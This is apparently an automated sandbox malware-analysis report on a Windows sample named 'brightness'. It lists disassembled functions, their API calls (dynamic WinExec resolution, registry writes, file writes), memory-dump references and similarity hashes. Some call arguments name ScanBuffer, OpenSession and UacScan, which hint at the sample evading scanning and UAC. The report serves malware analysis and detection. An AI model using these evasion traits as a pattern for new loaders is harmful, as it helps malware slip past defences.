Part of subcall function 027C8018: GetModuleHandleA.KERNELBASE(?), ref: 027C806A

Part of subcall function 027C80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,027C8148,?,?,00000000,00000000,?,027C8061,00000000,KernelBASE,00000000,00000000,027C8088), ref: 027C810D
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 027C8113
Part of subcall function 027C80C0: GetProcAddress.KERNEL32(?,?), ref: 027C8125

WinExec.KERNEL32(?,?), ref: 027C8470

Strings

Kernel32, xrefs: 027C8453
WinExec, xrefs: 027C8421

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: 6c617128039fd365430f38e2cd67f1801a219fab20c90414f366a08d02e2b960
Instruction ID: 926ccfe111369430d632e0ec56e5cc9cd27be0ff7fb83821eaf8e17e661389dc
Opcode Fuzzy Hash: 6c617128039fd365430f38e2cd67f1801a219fab20c90414f366a08d02e2b960
Instruction Fuzzy Hash: 88F0A479640204BFE713EFB4DC29F9A77EDEB48710F618868F900D7690D674AA108B26

Function 027C5BAC Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,027C5CF4,?,?,027C3880,00000001), ref: 027C5C08
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,027C5CF4,?,?,027C3880,00000001), ref: 027C5C36

Part of subcall function 027B7D10: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,027C3880,027C5C76,00000000,027C5CF4,?,?,027C3880), ref: 027B7D5E

Part of subcall function 027B7F18: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,027C3880,027C5C91,00000000,027C5CF4,?,?,027C3880,00000001), ref: 027B7F37

GetLastError.KERNEL32(00000000,027C5CF4,?,?,027C3880,00000001), ref: 027C5C9B

Part of subcall function 027BA6F8: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,027BC359,00000000,027BC3B3), ref: 027BA717

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: 2e14d54233ac52247734969c7ccc90bcf1c34d654465db823dd26cda58fc219c
Instruction ID: 436e84cd4ad7b85f3091d259b87662d894a24ab873ec829166510260eb625214
Opcode Fuzzy Hash: 2e14d54233ac52247734969c7ccc90bcf1c34d654465db823dd26cda58fc219c
Instruction Fuzzy Hash: 55319370A002099FDB12EFB8C8897DEBBF6AF48314F908469E904B7381D77569458FA5

Function 027CEAF2 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02906914), ref: 027CEB38
RegSetValueExA.ADVAPI32(000005DC,00000000,00000000,00000001,00000000,0000001C,00000000,027CEBA3), ref: 027CEB70
RegCloseKey.ADVAPI32(000005DC,000005DC,00000000,00000000,00000001,00000000,0000001C,00000000,027CEBA3), ref: 027CEB7B

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: d291967a615dc852c958d4d3cd38d1349741acbeb475ba9040e19ddc26c387c5
Instruction ID: a8266c8e7163d5433932a2546926f463308e8a1a373407f66b493a5bd84c9a65
Opcode Fuzzy Hash: d291967a615dc852c958d4d3cd38d1349741acbeb475ba9040e19ddc26c387c5
Instruction Fuzzy Hash: C411F871A04208AFEB02EFA8D8A5EAA7BEDEF09710F600464F515DB651D730DE618A64

Function 027CEAF4 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,02906914), ref: 027CEB38
RegSetValueExA.ADVAPI32(000005DC,00000000,00000000,00000001,00000000,0000001C,00000000,027CEBA3), ref: 027CEB70
RegCloseKey.ADVAPI32(000005DC,000005DC,00000000,00000000,00000001,00000000,0000001C,00000000,027CEBA3), ref: 027CEB7B

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 1ffe7bbfdfecb051aef399134ff054469913a9f17ea86f00770158cb00717723
Instruction ID: 9664c09b9ced8d7fe2a1e97240bef8bce4da1e149962044259144681bba903ef
Opcode Fuzzy Hash: 1ffe7bbfdfecb051aef399134ff054469913a9f17ea86f00770158cb00717723
Instruction Fuzzy Hash: C1110A71A04208AFEB03EFA8D8A5EAE7BEDEF09710F600464F515DB651D730DA618B64

Function 027BE2E4 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 027BE2F3

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 91aaa2547065cef1a43c9d867f1c80931dd7a26fc4ad9f7d693cac2828ea505a
Instruction ID: 377f72b8182acdaa35d2fd54ade2bf490707b8ecc0110334277be581cea5b686
Opcode Fuzzy Hash: 91aaa2547065cef1a43c9d867f1c80931dd7a26fc4ad9f7d693cac2828ea505a
Instruction Fuzzy Hash: BCF06265708210CB9B277B398DC87EE2BDA5F44710BD4543AE406AB356CB288C45CB62

Function 027B4CFC Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(027CED84), ref: 027B4C1A
SysAllocStringLen.OLEAUT32(?,?), ref: 027B4D07
SysFreeString.OLEAUT32(00000000), ref: 027B4D19

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 91ceca5fa6b4b00783c1dc5844824a1c1d513446ded2c2740a365c4c94c32ece
Instruction ID: 2e5178c88adb7ebfb3bec22e3f22c972f7145c88ebdae38cce61a4c10845f788
Opcode Fuzzy Hash: 91ceca5fa6b4b00783c1dc5844824a1c1d513446ded2c2740a365c4c94c32ece
Instruction Fuzzy Hash: 77E012B86062015EEF1B2F219C74BF7372AAFC1B41B544899A904CA151D734C441AD34

Function 027C705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 027C735A

Strings

H, xrefs: 027C7111

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 4a4fea37b0728f80e91db42ee85e4aa6258e1b5881dab3aa2bc5fbae3edaafea
Instruction ID: 82bbe4203ee0123c241bb79fd5ed3d01ecba1b9e6b7c94ef469642c74d4dd853
Opcode Fuzzy Hash: 4a4fea37b0728f80e91db42ee85e4aa6258e1b5881dab3aa2bc5fbae3edaafea
Instruction Fuzzy Hash: 26B1C175A016089FDB15CFA9D880A9DFBF6FF89314F248169E805AB364DB30A845CF50

Function 027BE6E0 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 027BE701

Part of subcall function 027BE2E4: VariantClear.OLEAUT32(?), ref: 027BE2F3

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: 09e1aecaa3ef96a8f4b5a4dca82aa62615705a09ee5529a43bf96794b218f0a5
Instruction ID: 690d813787b08ec3dd89b8eaaf7fb215a1f2e50d5dbfe4f9de574e4251f961b0
Opcode Fuzzy Hash: 09e1aecaa3ef96a8f4b5a4dca82aa62615705a09ee5529a43bf96794b218f0a5
Instruction Fuzzy Hash: DE1182247042119BCB37EF6AC8CCBE677D6AF46750784846AE64A9B746DB30CC00CBA1

Function 027BE37C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 027BE3BC

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: d1564dadc584ff380e87c6e6a0f59a0879e6db1a023b88532fe231111768b7f4
Instruction ID: 91429e8de762091d199ac3654876efde8a452c291d799f75a3068ed7bf515b68
Opcode Fuzzy Hash: d1564dadc584ff380e87c6e6a0f59a0879e6db1a023b88532fe231111768b7f4
Instruction Fuzzy Hash: 29311872A04219AFDF16DFA8C888BEE77A8EF09304F944565F905D3340D774DA90CBA6

Function 027C6CEC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,027C6D39,?,?,?,00000000), ref: 027C6D19

Part of subcall function 027B4C0C: SysFreeString.OLEAUT32(027CED84), ref: 027B4C1A

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 0fdb1921f890fe98979c84497e4fdd068b3659fa6b2a04f8562662d4da974fe1
Instruction ID: f4cc8191ffebca5e5fabb79590f82668c03effbd708598c3f53d60d1fd07e8d9
Opcode Fuzzy Hash: 0fdb1921f890fe98979c84497e4fdd068b3659fa6b2a04f8562662d4da974fe1
Instruction Fuzzy Hash: 0AE06575604304BFE713EBB6CC65A9A7BADDF89B10BA144B9E900D7601D6756D008860

Function 027B5814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(027B0000,?,00000105), ref: 027B5832

Part of subcall function 027B5A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,027B0000,027DE790), ref: 027B5A94
Part of subcall function 027B5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,027B0000,027DE790), ref: 027B5AB2
Part of subcall function 027B5A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,027B0000,027DE790), ref: 027B5AD0
Part of subcall function 027B5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 027B5AEE
Part of subcall function 027B5A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,027B5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 027B5B37
Part of subcall function 027B5A78: RegQueryValueExA.ADVAPI32(?,027B5CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,027B5B7D,?,80000001), ref: 027B5B55
Part of subcall function 027B5A78: RegCloseKey.ADVAPI32(?,027B5B84,00000000,?,?,00000000,027B5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 027B5B77

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: 5a281d68bbcf981cc6c7350d524d1591d48b2db4243174863ef2177f7b32388b
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: 32E06571A002148FCB12DE6C88C5B8637D8AF08750F8009A5EC58DF34AD3B0D9208BE0

Function 027B7D94 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 027B7DA8

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction ID: bccedfc1cfaed91113f998862a48955c029d616b281e0553793491c0fc191062
Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction Fuzzy Hash: 66D05B723081107AD225955B5C44FFB5BDCCFC9770F100639B658C3280D7208C0187B1

Function 027B7E34 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,027D2E7D,ScanString,0281237C,027DB40C,OpenSession,0281237C,027DB40C,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C,Initialize), ref: 027B7E3F

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fe3f8c7547375d3b190e2bd7b8d67a4577ec7d15bc45dec9ccb4955a6e8d04a7
Instruction ID: d071e1ac468825357d83f808fb4a789dbadd83d13a8731a49d233932a1ba8f91
Opcode Fuzzy Hash: fe3f8c7547375d3b190e2bd7b8d67a4577ec7d15bc45dec9ccb4955a6e8d04a7
Instruction Fuzzy Hash: 88C08CA62022040E2E67A2FC0CD87CE438C0E88238BA02F31F238C61D2D321D8623410

Function 027B7E10 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,027CFD00,ScanString,0281237C,027DB40C,OpenSession,0281237C,027DB40C,ScanString,0281237C,027DB40C,UacScan,0281237C,027DB40C,UacInitialize), ref: 027B7E1B

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 23fb81311ad07fae81732db0edde70c56cded36c5311baf0953a0f48c8330ef0
Instruction ID: a2e8037f3039e4682adc26d8c9752f95e1205cf38162b9d8baef0af62f4bf8c1
Opcode Fuzzy Hash: 23fb81311ad07fae81732db0edde70c56cded36c5311baf0953a0f48c8330ef0
Instruction Fuzzy Hash: C0C08CE62022020A1A6BA1FC0CC83EA43880E881383A42F35E238DA2E2D32188272420

Function 027B4C48 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(027CED84), ref: 027B4C1A
SysReAllocStringLen.OLEAUT32(027DC2B4,027CED84,000000B4), ref: 027B4C62

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction ID: eebca76706f688746d0d2682e450e6ee88fffa76549eca06248fafda0f7cf48f
Opcode Fuzzy Hash: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction Fuzzy Hash: 2ED080745011015DDF2F9955457CBF7736A9DD060779CC69ED8028B343E731C400CA31

Function 027B4C24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 027B4C37

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: ceb5ae88bf033e98fc82206b21d1e89e82677d744592aa3ef6d188a356359a2c
Instruction ID: 83fba30a4afa7baf4a5f10a1f535f2c6235545f5feb2d4fdf9c128c25b0be45e
Opcode Fuzzy Hash: ceb5ae88bf033e98fc82206b21d1e89e82677d744592aa3ef6d188a356359a2c
Instruction Fuzzy Hash: D6C012A260122447EB235A989CE07D662CCDF05696B5400A1D408D7242E3609C004664

Function 027DBF84 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,027DBF78,00000000,00000001), ref: 027DBF94

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 6c952d72d8d438e16efbc0fc00e5d71bf76a34c6ed82a937b8dd63d62ba8a39d
Instruction ID: 5f726550e116c114f958b94b09d71201779b45733147c3219ef3825cf4ab1b31
Opcode Fuzzy Hash: 6c952d72d8d438e16efbc0fc00e5d71bf76a34c6ed82a937b8dd63d62ba8a39d
Instruction Fuzzy Hash: A5C092F07C93407FFE1296B91CD2F77119DD714B02F211866BE00EE2C1D2E258604A24

Function 027B4BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 027B4BEB

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction ID: 4969393e092895f224978225157e1fd68d99897a00364d133f3ddad7d6e184ac
Opcode Fuzzy Hash: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction Fuzzy Hash: 0EB0922824820218EE1711620D30BF3008C0F50286F8400A19F28D8082EB00C0008832

Function 027B4BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 027B4C03

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

